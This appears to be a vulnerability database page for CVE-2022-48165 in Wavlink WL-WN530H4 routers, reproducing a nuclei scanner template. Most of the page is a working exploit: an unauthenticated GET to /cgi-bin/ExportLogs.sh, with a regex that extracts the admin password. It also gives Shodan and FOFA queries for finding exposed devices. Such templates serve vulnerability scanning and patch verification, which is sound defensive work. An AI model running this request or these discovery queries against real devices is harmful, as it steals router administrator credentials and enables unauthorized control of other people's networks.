CVE-2022-48165: Wavlink - Improper Access Control

2025-08-01 Wavlink PoC Public

Description

Wavlink WL-WN530H4 M30H4.V5030.210121 is susceptible to improper access control in the component /cgi-bin/ExportLogs.sh. An attacker can download configuration data and log files, obtain admin credentials, and potentially execute unauthorized operations.

PoC

id: CVE-2022-48165

info:
  name: Wavlink - Improper Access Control
  author: For3stCo1d
  severity: high
  description: |
    Wavlink WL-WN530H4 M30H4.V5030.210121 is susceptible to improper access control in the component /cgi-bin/ExportLogs.sh. An attacker can download configuration data and log files, obtain admin credentials, and potentially execute unauthorized operations.
  impact: |
    The vulnerability can lead to unauthorized access, data leakage, or unauthorized actions on the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://docs.google.com/document/d/1HD4GKumkZpa6FNHuf0QQSKFvoYhCfwXpbyWiJdx1VtE
    - https://twitter.com/For3stCo1d/status/1622576544190464000
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48165
    - https://github.com/strik3r0x1/Vulns/blob/main/WAVLINK_WL-WN530H4.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48165
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-48165
    cwe-id: CWE-284
    epss-score: 0.03284
    epss-percentile: 0.87827
    cpe: cpe:2.3:o:wavlink:wl-wn530h4_firmware:m30h4.v5030.210121:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn530h4_firmware
    shodan-query: http.favicon.hash:-1350437236
    fofa-query: icon_hash=-1350437236
  tags: cve2022,cve,wavlink,router,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportLogs.sh"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Password='
          - 'Login='
        condition: and

      - type: word
        part: header
        words:
          - filename="sysLogs.txt"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - 'Password=([^\s]+)'
# digest: 4a0a00473045022076f85dadfd1971b1d9e791313c86d68d4dc16067f6b467b3a8c665ffc07481d9022100ad68eed448a4ad9bf322a596944beebb71d43fd414b184b1584194eaec3eaedb:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-48165.yaml

References

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